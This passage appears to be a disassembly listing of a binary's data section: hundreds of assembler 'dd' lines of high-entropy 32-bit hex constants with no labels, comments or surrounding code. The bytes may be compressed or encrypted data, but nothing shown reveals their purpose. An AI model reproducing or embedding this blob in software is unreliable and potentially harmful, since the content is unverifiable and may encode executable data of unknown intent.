		dd 484C4082h, 98DD33FBh, 0CF789003h, 90439261h,	3A1D0B6Dh
		dd 170155D5h, 7485B0DEh, 0E27848D9h, 7B1B5808h,	0D5FEC459h
		dd 58AB82C8h, 784B3640h, 16114C00h, 387C348Fh, 3970BAEh
		dd 2410F14Eh, 0AF1CA7DDh, 0E883398Dh, 338AA01Eh, 0FD213608h
		dd 0FEDBAFF0h, 10311601h, 94C1117Dh, 0BD7AD050h, 4E8AC9Dh
		dd 96E30904h, 217C6706h, 0DCC1682h, 1D88AC41h, 62C48431h
		dd 5484CE7Dh, 79D550C3h, 0CC8C0F79h, 0E621DE74h, 0F2D27EBEh
		dd 9533482h, 9CE46464h,	3E00FCB2h, 7E6AD4F5h, 1C6E18Ch
		dd 1BB954F6h, 0D2CD12FDh, 0EC4C1852h, 0F58B0A3Ch, 59C4F4D2h
		dd 83890C40h, 2902A66Ch, 625F35A0h, 63F8E071h, 124904Fh
		dd 0BF324DFDh, 71E8E570h, 8AC0244h, 11AFB530h, 889D398Fh
		dd 0A3FF80D9h, 4E7DE0AFh, 0BC82C700h, 931D09C4h, 8F0F2462h
		dd 7AFF6000h, 53130E14h, 0B02E12F2h, 0C0004623h, 655C5F7Ah
		dd 4D0F03BFh, 7954E1C7h, 0C1A49D83h, 12F0E8h, 96D59193h
		dd 0A362419Ch, 0FDE420CAh, 40161F01h, 4D25E898h, 0F04C618Bh
		dd 306AF010h, 324E7503h, 0CA01B5B0h, 0EDD0A0FBh, 0AAC927h
		dd 0B7283DEAh, 24FD3BA7h, 748F9009h, 24F48AE9h,	1D809C11h
		dd 6E9DCE09h, 0CD10AD43h, 0E5D901B2h, 5D7B5236h, 514EFCh
		dd 2156BE1Dh, 91ACE8DAh, 6E0AA0A6h, 0A47014C8h,	16806501h
		dd 642411F9h, 23C3424Ah, 36DA008Fh, 0A9F696E1h,	0C2D88085h
		dd 37703C36h, 0DA7B9B02h, 938F9229h, 0F488A494h, 53E10091h
		dd 0A5C41CFAh, 4BB8E938h, 418FC7Ch, 18D13CCDh, 576E2905h
		dd 0B2CD7044h, 0BCC00086h, 2F50AA8Eh, 774C6BF2h, 8CF5B818h
		dd 4801357Eh, 0C735970h, 9980A5F6h, 0C3717D31h,	7D909ABAh
		dd 0E0E7E600h, 92F2215Eh, 7E8B015Ah, 420DC1C9h,	0F80FFC5Dh
		dd 718FB600h, 0C5172403h, 0D0190083h, 12C33C34h, 40000761h
		dd 6BBC9FBFh, 7F951C2h,	38325DDDh, 0E8855143h, 11FED8C8h
		dd 0C173B00h, 0E257092h, 943C00F8h, 0D7370643h,	0B5186EF5h
		dd 76A993FDh, 2B10069h,	99FBEBC8h, 7800B98Ah, 102D57ABh
		dd 5809BCF5h, 9880C86Bh, 49A95207h, 0E3022B00h,	10FEE990h
		dd 5321C51Ch, 6E80A4A0h, 1EB48C58h, 0F7EF40Fh, 60C5CB24h
		dd 7811EF8Ah, 0BD0B0AFh, 8675FCBDh, 0C2CE9038h,	320DB7F4h
		dd 504078C5h, 583FB6D0h, 9114C4A4h, 2301FD5Dh, 80C77AB3h
		dd 88D462DAh, 20BA14C9h, 18656EE1h, 10414D18h, 0D5DB5E00h
		dd 5D3D72C0h, 0A0121127h, 1EE3788Ch, 4AA403DEh,	880BE4Eh
		dd 0E1D80085h, 9D8FF584h, 6C02E726h, 9A801991h,	953974AFh
		dd 111DE121h, 0A26600A4h, 0FE697BAFh, 71030E88h, 0DC02D32h
		dd 0B0E7EB7Eh, 24B1523Eh, 0D8050453h, 248E6E23h, 30B2C4C4h
		dd 3F430A0h, 9D9BE402h,	7D983E01h, 0E6614557h, 0EB21DF69h
		dd 0F4229C55h, 36C930D0h, 0CE961A08h, 0E86869D6h, 907F185h
		dd 0B19613C6h, 0F8CBC470h, 0E3190D39h, 30680EB7h, 78CF4D0h
		dd 78C85805h, 48967BF1h, 585DC000h, 0F40CAF5h, 9E7A1638h
		dd 2801CE8h, 25E36587h,	0F2BFBCA2h, 16AFB418h, 628539B2h
		dd 1427A528h, 4468AF80h, 0A1250398h, 0B4CF9238h, 6FA35805h
		dd 78C05C22h, 601E480Eh, 3E1C18CAh, 5F007F2Ah, 0D46D9010h
		dd 38385533h, 8480496Fh, 0DFAC6E34h, 23009317h,	0C99F5CFEh
		dd 0A245CDh, 0F290DF6h
		dd 9BD4DB3Ah, 0EE9CC800h, 43480A1Bh, 0A7200056h, 4793F586h
		dd 0FB00F971h, 0BC2241Eh, 299ADFh, 52D24257h, 0EAAD7BCAh
		dd 6D1F9307h, 59503282h, 4E43BAh, 5A44ECB6h, 0D4716723h
		dd 0D710B765h, 7300042Eh, 4756D19Bh, 180FAE4Eh,	3CAB4C0Ch
		dd 884A49C0h, 1EB5D654h, 0C1737ABFh, 0AB45DE4Eh, 90E13118h
		dd 0AD827529h, 3A076543h, 0AF8C8878h, 8B360184h, 51D53106h
		dd 44E08610h, 30995011h, 0FA2429ADh, 1E297D10h,	0A4FF976Bh
		dd 2EE0084h, 241D6076h,	0FCC9E900h, 1121B0CFh, 0E8053B9Ch
		dd 236F007Dh, 37948326h, 1C001871h, 0D1815A6Eh,	0ECC9105Eh
		dd 0A07ADDh, 0E9E16B31h, 88DB42F9h, 6AE4B307h, 4E80D8A5h
		dd 8709D9h, 0D61FCA6Ch,	15691462h, 78B7230Fh, 0B892012h
		dd 0FCA89CFDh, 0DDE12637h, 0D8E500C9h, 59B4CCAEh, 452AD000h
		dd 0ACE2304Bh, 37123F4Dh, 0C705ADDCh, 87178973h, 0B3FF305Dh
		dd 0A901A363h, 108DD833h, 0E8ECA6DBh, 0C08BE46Ch, 3776E910h
		dd 6907771Eh, 8557CB50h, 0EE6B773h, 9C3235C1h, 8F80A6A9h
		dd 1CF2FA0h, 0CD72605h,	0F407BC24h, 3D50F7DEh, 74D5B80h
		dd 29C746B6h, 0C991303Fh, 7100E472h, 4A814309h,	32A23Ch
		dd 0A3496546h, 0DA0AD45Fh, 0A684D600h, 570BB1F2h, 81A500B8h
		dd 0F19EDEDCh, 6E005C5Dh, 0E902C487h, 78BFC89Ch, 96A60E4Eh
		dd 4E138A0h, 0F40F1CB2h, 0C00007A5h, 1E40F29Eh,	7623D495h
		dd 85620F90h, 48A017EFh, 0B6BB8CA3h, 2EC8C700h,	3AAF44F9h
		dd 0FEF5010Dh, 0AC0366DBh, 2FF0D4F3h, 4B252E00h, 0BC53957Eh
		dd 82BE0088h, 856ECA67h, 3748915Fh, 0BDB314CFh,	62251384h
		dd 5B00D3E8h, 0A8B6A81h, 0F01EF334h, 4340AC07h,	0B498AD79h
		dd 0DCF009Bh, 0C2DC0E9Dh, 80000641h, 0AB48FC50h, 73B2B13Dh
		dd 0D5B898h, 0DD708625h, 71755F9Eh, 0D67C06E0h,	483C6302h
		dd 0FFF0CE69h, 0DBC6E441h, 0BFBC9AE8h, 0DE8AC100h, 0EDEE1458h
		dd 946100D4h, 3987D115h, 630E3CCFh, 81973EF2h, 4F7396B6h
		dd 60C7B660h, 0FE7CB085h, 3C78AC51h, 0DE88D400h, 1D4089DCh
		dd 0FCB80097h, 3BB50A55h, 0DD0002C7h, 2639D0CEh, 0AAFD7Ch
		dd 0C35785F8h, 134F9EDFh, 2FAC1E00h, 0A616949Dh, 44A0A0B0h
		dd 5FCF1E85h, 884E0043h, 75A556B1h, 0EAA8000h, 28B27FF7h
		dd 8D7587h, 2F792E98h, 825D9B72h, 0F86E081Dh, 0AF5B8E40h
		dd 0F78416Ch, 7F6D76FBh, 4B4FB760h, 0D7009D88h,	0E9137596h
		dd 0A98F31h, 0FF872205h, 0DB8DA482h, 438E1B00h,	9A6E5755h
		dd 32331F95h, 7D5E8013h, 0B25A5BDAh, 2815A80Fh,	8135C9BAh
		dd 126DB3E4h, 3716C4h, 0B47BDFC2h, 10803E90h, 0D8711400h
		dd 292E404Dh, 33BE009Ch, 7E4E0903h, 5F00AC8Eh, 3D28C0AFh
		dd 6F124h, 0A7B10AD1h, 0A5772699h, 6731E501h, 0AA41ACDFh
		dd 72613020h, 4C8630BCh, 8F65E811h, 0B5642200h,	37C52627h
		dd 0F47A88h, 6003D0AEh,	0B2D5A4D8h, 0F3848600h,	32227D04h
		dd 1A6F1ECBh, 0CCE6806Ah, 58338ED0h, 0DD13DC00h, 0C79FFB01h
		dd 4FE10055h, 4B9EA1F5h, 0B6FE813Ah, 0DC7E9A00h, 37E72459h
		dd 0A2D28F9h, 530800F2h, 0B949C773h, 0D590A909h, 0C5634000h
		dd 0E8B0C333h, 697BF2h,	16361899h, 2B081288h, 0E434AE00h
		dd 7ADED7AAh, 31AF3369h, 5DD03E70h, 8939CF80h, 0D34F020Ah
		dd 40FAE2B4h, 0AE9164h,	0F959FD8Ch, 61100EDDh, 0BA4C18C0h
		dd 13EFE96h, 16352A98h,	0F4622E5Eh, 5F00466Fh, 274EA1EAh
		dd 67B81Ch, 4539DD37h, 4BCDF3BCh, 0A23FB500h, 0A7A573EEh
		dd 0E2B300B6h, 22D8CB43h, 0FC75C481h, 134738h, 0B1763161h
		dd 754BDE4Ah, 9520004Ch, 33750FD6h, 0EC03C2BAh,	7E0E42CEh
		dd 9019C808h, 283C6027h, 0AA59F53Ah, 32396D07h,	0EFB0F409h
		dd 3922E77h, 69178AA7h,	5D0C41Ch, 0D800F71Eh, 16ADC935h
		dd 0E203DDFh, 0DEC252E1h, 0BC9CE4A0h, 0E700038Dh, 494DA4BBh
		dd 0E468CF8h, 43A7E082h, 130EF220h, 17009681h, 85351C09h
		dd 0F0CD305Eh, 925D3858h, 933AFF03h, 7F8999Dh, 0DCE50876h
		dd 62F6F63Ch, 89F96100h, 133DECE5h, 73AE01DCh, 0B31B4F3h
		dd 5FFACC2Bh, 0D700E27Eh, 0AB1D7D93h, 3BF9A5h, 78E72DF2h
		dd 2E74D92Ch, 2ADC5B00h, 79395490h, 409D00A7h, 8BB682A2h
		dd 77E221AAh, 0CAE91F00h, 1CD296E5h, 57F70E64h,	0FBC00865h
		dd 2BB30B2Fh, 88119F00h, 9030E858h, 95DE001Eh, 547570B1h
		dd 0ED000E66h, 19A48384h, 0CCD3A7h, 8DBD51Dh, 0EC6760EFh
		dd 7B06E703h, 3D57CFEBh, 28800710h, 0EF26B604h,	0A41F4070h
		dd 58CBF811h, 0F12EF882h, 3CD16BF0h, 178179A6h,	8B7F8AEFh
		dd 0B9E0EC20h, 6E00BA70h, 0F347E12Bh, 0F40E8Ch,	915A9A33h
		dd 4237793h, 2170DE00h,	0B7B98E47h, 307DC9h, 0E8E7F7C3h
		dd 3236AACFh, 5419F660h, 7A279B7h, 0D635B841h, 0DE0C31D1h
		dd 94BF600Ah, 0DCB54703h, 4543E4Ah, 0F8F3FB30h,	713EC0D7h
		dd 3700A7E1h, 439CDCA3h, 0E95D333h, 806DEF89h, 41384740h
		dd 0D41F7D12h, 46C0C86Bh, 95E6BA1Eh, 33CA0022h,	3E1B6CCBh
		dd 11E87C41h, 0EC315A00h, 55BF1D63h, 157FCF1h, 10C6C203h
		dd 0F4412A0Ah, 933B33EFh, 30EBBA17h, 0E7B7113Eh, 8B370156h
		dd 0B15DE173h, 868E60A3h, 5FFE8D00h, 9E257F57h,	0ECC9007Dh
		dd 0F1A2F90Fh, 512C64AFh, 0E0002DD4h, 0F4A4CCD9h, 36DF00EBh
		dd 1C3CEDDBh, 70ED201Bh, 9000D793h, 5D87ACF3h, 76BE1264h
		dd 83983EE2h, 2F806080h, 4689AE8Bh, 4BA99600h, 5862DCA7h
		dd 917C006Dh, 2D3F9CBBh, 0BE003EE1h, 6F022A29h,	5D5B20h
		dd 5FD25E18h, 9D54F9FEh, 0ED9A4800h, 2C4B9909h,	808700E8h
		dd 0A3F62DE5h, 110054D6h, 0D1B861F3h, 217BA4h, 49B470Ah
		dd 0CAE140DFh, 8F1EFB39h, 236F5187h, 3D6933h, 0C92DB110h
		dd 0E36BE1A3h, 314CDCF0h, 2A407C8h, 9CB10C8Dh, 5880DE86h
		dd 0C6815225h, 0E300C075h, 31A6FA23h, 0D80207h,	3D75579h
		dd 0B4C8E61Fh, 800CC53Eh, 267269CDh, 9F80DAh, 0CA2EA6EFh
		dd 6A85BCDCh, 8998E400h, 6B1B0C1Eh, 96CC1754h, 0FE5F005Ch
		dd 0EFB76204h, 0FAE64400h, 0F653ABDCh, 0DD4B0021h, 0D7E811AAh
		dd 9800EB0Fh, 1A0A63F8h, 310D2A5h, 87017BE5h, 0B988F48Eh
		dd 1500D6D3h, 0BC6DFF52h, 0E060E828h, 0E1FC00C6h, 4C957DCh
		dd 0F003AF1Eh, 0BFA5F532h, 48D9A04Ah, 0C15C060Fh, 1195961Fh
		dd 6B593C00h, 0A13A5BA5h, 0C5CEE17h, 0FEABAFEBh, 13037320h
		dd 0BCE1BD2Ah, 11F0DF19h, 0A3FA8Bh, 69ED4EEh, 0C61036CDh
		dd 0D3485100h, 62499B90h, 3F0F0FB8h, 36036BB0h,	709FBD65h
		dd 42C9DE45h, 29D38C00h, 52D09411h, 0D8B93FA7h,	2DA3304h
		dd 0F270C04Bh, 9009D6Dh, 563B9B13h, 6319407h, 0F862BBCDh
		dd 692E7827h, 1F1E2950h, 80B82CC0h, 0A441ECh, 0F97078E3h
		dd 9EBD1D6Dh, 0F8B4E100h, 464ED482h, 0EA333C25h, 7875D058h
		dd 0E73603DBh, 0A20023Eh, 0A3686DD0h, 9A701500h, 0AA773775h
		dd 0CE16001Bh, 9DA50840h, 9E07CA52h, 7129587Fh,	9690DC17h
		dd 0C0CFC2FCh, 0C966E999h, 7900F816h, 361132F4h, 219335h
		dd 0F330D51Bh, 0AF080B66h, 0A800D4E6h, 0FB5B3C9Bh, 0A6B1E2h
		dd 0EA23A0D7h, 417A2C42h, 179C3E00h, 0B96F1283h, 496480Ah
		dd 813CD500h, 52469B67h, 0FBA51D00h, 360920BEh,	0A6F30005h
		dd 0EA38493Eh, 9CC04F7Ah, 0F272AA5Dh, 42000B5h,	685C924h
		dd 887D54B7h, 688CEA0Eh
		dd 6573C01Eh, 2FB6C53Eh, 0A2C09B41h, 0CB0064A5h, 0FA01ADDDh
		dd 0F958182h, 0BD41817h, 0B3D852Eh, 0D400305Dh,	1E38BA1Fh
		dd 88926928h, 5B8E220Ch, 911014h, 200AE3A5h, 0A41652C3h
		dd 0DC556100h, 1A2C83F3h, 0F067FC4Ah, 80120020h, 0FA66161Fh
		dd 3E012B8Eh, 0D05EC53Fh, 0DAE8E035h, 6D2F066Bh, 0E0B1B0E7h
		dd 0F9A13C14h, 4C6400C0h, 4F17EC97h, 0F1391F76h, 12B85EF5h
		dd 0CA310378h, 0D8C0E886h, 9A014244h, 546CC27Dh, 59E403A2h
		dd 6FFA9Bh, 97E57C2Ah, 139EE95Ah, 0ED00F8B0h, 4C702174h
		dd 9A961C8h, 5FA53495h,	3FBC1800h, 0A81EF7EEh, 931DD5F9h
		dd 99C37902h, 0E00AE320h, 0DC207h, 0D6C172CDh, 5674B6EDh
		dd 1B69D802h, 0E2CA5377h, 34A98094h, 0B89DDAh, 44C2586Fh
		dd 24E203DFh, 92E01363h, 94F7F86Eh, 0A7FD006Ah,	687E8D17h
		dd 4DB8FB53h, 407DD10Ah, 0FF26D1E2h, 6C8D803Dh,	0DA35742h
		dd 3E890079h, 5E909BB0h, 0CE72C11Ch, 0CDFA261Dh, 15002F96h
		dd 817282C6h, 0E079066Ch, 7817DF31h, 0B6953B01h, 46F79A1Bh
		dd 0F0EFD160h, 5098742Dh, 0E252DC66h, 564400F6h, 0C6E509AEh
		dd 0B892275Eh, 26A4BF06h, 0E11927Ch, 4B84C49Fh,	27B6BB80h
		dd 0E67196D1h, 550016E0h, 0A2D9497h, 1C2EFFh, 60626876h
		dd 748FAB3Dh, 0B2CAD700h, 9BDC59A0h, 6C6303D6h,	0CF1D20DDh
		dd 99F65580h, 0F4007FF6h, 187D719Ch, 0FBEA4B2h,	0CC7C255Bh
		dd 4720CA0h, 23181CC0h,	0BBD0DF35h, 24B71C31h, 0F4C1801Eh
		dd 54456786h, 981DCF00h, 13BB71AFh, 0E3FF1D27h,	519801Ch
		dd 88F38255h, 7221DB07h, 14708A1Eh, 490FA43Ah, 0E6007C46h
		dd 6FC63F26h, 0C1555AD7h, 1497D480h, 0A3D18E00h, 99B951D3h
		dd 85200004h, 3C86B569h, 460028EFh, 0AFDC44CAh,	3D11487Fh
		dd 9C80A05Ch, 0E8620EB4h, 0A8001BDFh, 0E9CDAA97h, 3B518D2Ah
		dd 78800C14h, 607D773Ch, 8F009C31h, 0A8216C5Ch,	0F2E953h
		dd 0DE9FB597h, 6D2E93D7h, 41F097h, 8941379h, 9521B91Fh
		dd 0CB208100h, 16D4CDB3h, 0DB4D1C48h, 49070930h, 20AFC401h
		dd 3FC840E4h, 5200C60Ch, 38883764h, 0A77BADh, 69280919h
		dd 0EC664D90h, 0A4D48700h, 1A3C5DF0h, 0BFB9003Bh, 72E5064Bh
		dd 3F0F502Ah, 40987390h, 0A167431Ch, 0E93E00FFh, 0A99EF2EAh
		dd 20C890Eh, 5054BEAAh,	0D6E21E39h, 4E7CD742h, 0FA4FC028h
		dd 155B3740h, 2EE664ACh, 0CAC62000h, 8647C56Eh,	903C00C3h
		dd 0C245F850h, 0CD008AA1h, 0C030353Dh, 0F2899Fh, 788DE6D0h
		dd 0A4DDE32Fh, 0D7381900h, 0FD224EA8h, 0F9AD60FAh, 0C2830D1Dh
		dd 269EE00h, 0E6BD57A0h, 0B2DA00E2h, 0A201BA9Dh, 30EBD46Eh
		dd 3E03FA1h, 44E45E00h,	4B6BE9C6h, 79A9001Bh, 94AD06F2h
		dd 9CEED4ABh, 6010D900h, 819F6BE0h, 1955000Eh, 20B3EC7Eh
		dd 2C001201h, 0FB8E31B9h, 0FC93822Bh, 0EBF2F1h,	92364F8Ch
		dd 53328742h, 5708C000h, 2F128D49h, 2A0100B8h, 210B5AC5h
		dd 0AC00C6A3h, 0BA7B50E0h, 0E24AF84Dh, 5786001Eh, 253FD0CCh
		dd 1A00BBA7h, 0A50F19C2h, 60DD98Ah, 5ECF3DBDh, 8400E0B0h
		dd 407EB6FCh, 0EE2A5Bh,	1E3AB292h, 0E7C63833h, 2D66FE1Eh
		dd 0A280765Eh, 0D0C2F34Eh, 0B1A80060h, 2632089Eh, 0BB00309Ch
		dd 10DA1F65h, 0C7FBCDh,	804FFF94h, 5611D5F3h, 26BB405h
		dd 0A1008640h, 4954CD39h, 9E05006Fh, 137D092Ah,	24000FF2h
		dd 0DF141B8h, 117B775h,	10BDC38Eh, 0F4BCFB64h, 0D81D6E50h
		dd 0F30E4CFEh, 860D07E5h, 62CAD170h, 24540090h,	3233A5DFh
		dd 84384D60h, 0BC40004Eh, 0E3E1BC0h, 0ECA00059h, 76A4F9A2h
		dd 2C023664h, 806B8656h, 0B40C409Bh, 9A6300DCh,	2881A5B3h
		dd 0E2021583h, 6550EE67h, 4BA88757h, 0BC18F5C0h, 0A5E006ADh
		dd 7062FE8Dh, 440AF7F4h, 886760CAh, 7EC52700h, 57098E4h
		dd 38E19602h, 0F0228075h, 0B10055C9h, 6805182Ah, 112502Eh
		dd 1995A442h, 0E8FA3320h, 8A0010F8h, 1FD3EE23h,	0E89D733Bh
		dd 7507EF5h, 670D529Ch,	3C2980D2h, 9A00B00Ch, 0B492A61Dh
		dd 98B8EDBFh, 79B909C3h, 4C00E346h, 0D6DEEB7Dh,	0C6F2F800h
		dd 16A19394h, 5D7900BFh, 0B483605Ah, 0EE0059D2h, 9AD47412h
		dd 833B7h, 46F36529h, 0B59D170Fh, 0D1988B00h, 0F8DD494Eh
		dd 3BF50B5Dh, 7A87A60Ch, 488240FAh, 74007CF1h, 5E0D0A7Fh
		dd 0FA07E36Dh, 917E0044h, 0FC54E81Bh, 70075B8Dh, 9866EA85h
		dd 0F7A53320h, 2F2100D1h, 0CD052653h, 0E8ECBC19h, 0C8DA8E07h
		dd 6E3037C0h, 780F64h, 87C92BDEh, 736D06B1h, 19B2A207h
		dd 4BD03CE6h, 0AC9415h,	67FE278h, 0FB952234h, 2A8A4700h
		dd 0CE7E630Dh, 548B0FBFh, 0B4203651h, 5E99E59Bh, 3C53420Fh
		dd 807B8085h, 1C3CE2Fh,	3D149338h, 0C48DAF86h, 6D386511h
		dd 0D41E0FDEh, 2463A01Ch, 4A93F9Fh, 0FF7049F8h,	320490AFh
		dd 6000E991h, 4697C373h, 6AD7E7h, 0C6C89DD5h, 0CAE24CFBh
		dd 62A9F500h, 0ACFC11A5h, 0E31E007Eh, 6AEAFE9Ch, 0F500D628h
		dd 8D7AE484h, 23DCBFh, 0C1FA19A2h, 0B7BE9456h, 14D4F303h
		dd 0E9ABD25Ah, 0FBF171h, 0E6798F81h, 6955D47Eh,	4714D11Ch
		dd 0B19C09h, 6352951Ch,	6E2A037Bh, 2B487325h, 3927BCE0h
		dd 0D6D4C500h, 0AE159A91h, 258E00B4h, 4F99D0F1h, 6907774Ah
		dd 4020D484h, 33FF00BFh, 1706169Ah, 59E1F8h, 258FD84Dh
		dd 2200E59Fh, 1419C3CBh, 24EB502Fh, 0A0AF08h, 0E280F233h
		dd 7B001DB3h, 64FEA074h, 342D4Bh, 0B0902EAFh, 1B608431h
		dd 0B125B400h, 0B54D61AEh, 5E82020Eh, 77BE7566h, 0A8EEE840h
		dd 2DE4E700h, 0F02B708Ch, 8E4F0151h, 9E698326h,	30BFF1EAh
		dd 0F600DA9Ch, 7D2D02CDh, 30FEE87Fh, 2F587C93h,	9F00111Ch
		dd 1EF8B290h, 3F777Bh, 0F275BE54h, 810A266h, 0E53B0700h
		dd 0D60A3C2Eh, 0D5E6092Bh, 0BC01C9C8h, 0E4421637h, 0CD77FFDDh
		dd 720A5300h, 7AF7C2D6h, 28E227h, 0D89B831Eh, 98827634h
		dd 898F490Eh, 0E0F66190h, 0D4F8CBFDh, 1427F3Fh,	24F708FCh
		dd 0D87B9584h, 5810754Bh, 46044F3Ch, 81B52760h,	805FD606h
		dd 77AA9A48h, 7A35B67h,	0F53B60B2h, 64656024h, 58073ADCh
		dd 4C37B647h, 3878E070h, 757B075Eh, 0A0E227A5h,	0B1534B7h
		dd 0FA1D86E6h, 0B826A3h, 0E7B50F04h, 9CEAECh, 785D10C3h
		dd 2B68D409h, 0B1FDD500h, 0F3B4A332h, 88573D90h, 0CBCAB680h
		dd 1A4D33E3h, 2C59BE00h, 0E0AA98A5h, 9C664CDEh,	2B008B3Bh
		dd 0BCE61EEEh, 0CDFC869Ch, 3330100h, 595ABCFh, 0F2FE00CEh
		dd 0E392E826h, 6C008A81h, 6FE99AF5h, 0A882EDh, 2C61BBC2h
		dd 89B5A6CCh, 7837E400h, 9C50DFDAh, 5FC60027h, 64317AEEh
		dd 6A000C88h, 7B54C7C0h, 9398F2h, 0AE6B1FCEh, 0A3333BBCh
		dd 0E4EFDD07h, 1831ED9h, 4A28F140h, 9899AF0h, 83CC61F3h
		dd 293FB021h, 63460CEh,	394733Bh, 0DF973B65h, 153C99B2h
		dd 5D466C0h, 0F401D331h, 912480FCh, 6C1FB0ACh, 0D500C3DFh
		dd 6379384h, 58FF0082h,	2DA7ABA9h, 8A009EDCh, 11B8F581h
		dd 48D2138Fh, 0E129CD9h, 84580F42h, 2C1D93h, 0DBF15B82h
		dd 2624BA7Ah, 9A82F020h, 78C6324Eh, 49836h, 9EE453F6h
		dd 504D8936h, 97D79F00h, 76097BDCh, 0FBA006CCh,	40B0AED3h
		dd 0C1B2BF09h, 652C019Eh, 0A0F4C9C4h, 86C83AA1h, 70FFB500h
		dd 0B544E6Eh, 0E0944B00h, 0C82A9DB9h, 8FD8C0D7h, 0F31C037Ah
		dd 8546B600h, 0FE094A5Bh
		dd 532C288Bh, 98A409A0h, 64204206h, 0EC283885h,	86761177h
		dd 0AE463D00h, 3B067624h, 0A7631D2Ah, 0E15C8F87h, 36426CC0h
		dd 5A4CDDFEh, 5F35800h,	0FB13B29Dh, 8518E902h, 2DB881E1h
		dd 72EDB67Eh, 2EB270h, 9CCA0A28h, 0F5F670AEh, 0CEA4Ch
		dd 4F300C5Eh, 5F2EBE33h, 76C0C07Eh, 0C000849Dh,	0F62DE3Fh
		dd 4BEC758h, 1A2182B5h,	1007837Fh, 0AAE1E2B8h, 0CAFC4600h
		dd 0CF43DD94h, 0F88E0226h, 0C84C47B0h, 0E6C0A062h, 237522A4h
		dd 6DAA311Fh, 0FFF5A800h, 18E1D618h, 0AC542A81h, 0C70FCC94h
		dd 0AFAD68C4h, 0F1F20066h, 7AD8424Eh, 539900D5h, 9611C7C6h
		dd 5C00DCDEh, 6D16FFBh,	23F0D2h, 9558FC5Dh, 0E7B2D01Bh
		dd 0AE045200h, 3AB60E9Bh, 53650082h, 0FA6420ABh, 0DEBE5F8Bh
		dd 7D8CA509h, 0DEC77D01h, 0EC96C51Bh, 9A00D1A9h, 0ED9F3AC1h
		dd 1741C6E4h, 0D03416h,	1028BFEBh, 310553DCh, 5FBC427Bh
		dd 70B66C7h, 0A71147EDh, 1620EE6Dh, 0D2ED0025h,	0F50ADD1Ch
		dd 4275D3BFh, 5FFB4Ch, 4A843BF4h, 4645A2h, 0AFBCAD4Ch
		dd 12D4F805h, 0F0E13Dh,	0A761722Ah, 0C5A126h, 8B7C8938h
		dd 1DD0CB2Fh, 825D5901h, 96BB9A99h, 940E6181h, 0E0B1025Bh
		dd 6E00EA42h, 9B077F5Eh, 0F0D08C95h, 0CE7D79h, 0A038A374h
		dd 0AB7B034Dh, 1052770Bh, 0BE9300C3h, 0F8BC81h,	8DF09996h
		dd 0D7BDB53Dh, 0B91B191Dh, 6BDF3BDCh, 0CD4DF2C0h, 457D5Dh
		dd 2D81B2F7h, 0EFA9AA36h, 4888BB07h, 4ED07CC6h,	2BD8B78h
		dd 6459B81Eh, 36E0DDD7h, 33008115h, 0BEFB2B01h,	0F62EB76h
		dd 5889833Dh, 78B741E6h, 27A6B000h, 5C2BCF72h, 0D459003Ch
		dd 0B94CD48h, 880095C1h, 6550A212h, 0E9E71D1h, 11558AD0h
		dd 770E048Bh, 8D494A0h,	4B013BCAh, 0A78043B5h, 0B07EBCB7h
		dd 0D21F8FCCh, 0A89E86B6h, 0DB69CC00h, 7412A89h, 25F99493h
		dd 9E5E1C7Ah, 0C403BF72h, 0DE9D7B6Dh, 7043A8B0h, 10BA00FEh
		dd 9C1C3FF3h, 0D8B5F66Bh, 1A530054h, 0F2F85616h, 0E466FC7Fh
		dd 82205410h, 0F88D6008h, 317E60EBh, 0B6F2D315h, 3018C38h
		dd 47C265CCh, 0B1D2C0E6h, 0A710C779h, 11FA83E5h, 1CB7213Ch
		dd 0AC1EFDC9h, 8075D44Eh, 7B921301h, 0F317DB5h,	7E5553F2h
		dd 0FF2CBD2Ch, 0C58C101h, 7D32BC89h, 63EFE089h,	0FC5CAD80h
		dd 0D300F2AFh, 0D87533D4h, 0CCF3FEE3h, 0B671B911h, 0F99DA405h
		dd 9043D6A7h, 78893A5Ah, 22090348h, 0C9031E4Bh,	54DCAA0h
		dd 69C576F8h, 1408464Fh, 0FBAD0072h, 0F8E1795Fh, 0D49B4400h
		dd 453DFFC1h, 653F006Ah, 60166CD2h, 7B1C9ED9h, 0FE0059BBh
		dd 23DAC9A3h, 0CF1E00BFh, 0FCDD2409h, 3403602Ah, 0C8160A41h
		dd 0B9D3D0AFh, 84320001h, 6617BC26h, 6107E723h,	693DED87h
		dd 73F9E08Eh, 3D44D697h, 0BF804AB0h, 707C33C6h,	24F0D58Ch
		dd 13305305h, 0D0835156h, 6F9FE07h, 0B9FCAD63h,	0EF5311D9h
		dd 979BE004h, 0B610C098h, 0F6452B59h, 4717E07h,	0BD0A61Ch
		dd 546008h, 9DA31B3Ah, 0F4723E0Dh, 9556210Fh, 0E52867D5h
		dd 965D3C10h, 0E81040A4h, 61372F07h, 0E09F0CC6h, 8C4DDD17h
		dd 0FBAF2EB7h, 0F86B0041h, 47DE6C92h, 0D326D500h, 90447B06h
		dd 0BCE1655h, 4EE8006Dh, 0BF1E6C11h, 102AB800h,	80783F5Ah
		dd 0B0013976h, 2E9CA280h, 0EA04F7A7h, 0DC733Bh,	0B418E3AEh
		dd 842D38h, 759728BDh, 0A2682C1Ch, 0DDA77824h, 0EE713A00h
		dd 9DB8BCh, 4C281950h, 700730CEh, 0A8733F03h, 9069ED7Ah
		dd 4D7264h, 6AC5F75Fh, 192FBC9Dh, 7EC50B5h, 1191F6CEh
		dd 0AF23306Bh, 22001C06h, 0CC9F7934h, 974713h, 0C29552F4h
		dd 24EE89A9h, 54006D7Eh, 0C88309FDh, 1FA0B7F8h,	0B91CF136h
		dd 6D758780h, 112D35Ch,	0CB929101h, 0AAD71877h,	609FEACDh
		dd 4098DE9Eh, 95A19B05h, 0AB00380Eh, 0CA60FBB9h, 44CE56h
		dd 7334D4E6h, 94C2AD7Eh, 0B1438D07h, 2A40093Bh,	4D764Eh
		dd 14900741h, 0E2CD051Ch, 65572500h, 64887051h,	0BDDD130Bh
		dd 0F45E004Fh, 71248B5h, 9C678B05h, 8700BFA1h, 6146D0D1h
		dd 2469F81Eh, 186C2CE0h, 996E1872h, 824E0600h, 0DC4CD7DFh
		dd 0F48000C6h, 9DD4FDFAh, 0E862F626h, 8753A2D0h, 5C914A91h
		dd 3260B690h, 0CD8C0119h, 0FD5076F4h, 0EECEF836h, 0D561F102h
		dd 4847B69Eh, 2F5464h, 0E033F80Ah, 7C2139E7h, 924CD3Ch
		dd 0E4B803h, 8E1A2E28h,	0E9E600C2h, 965BED3Dh, 0B401F24Bh
		dd 0F37AC7D0h, 11808E95h, 0E1CA4385h, 93005E6Ch, 0ABEFA85Bh
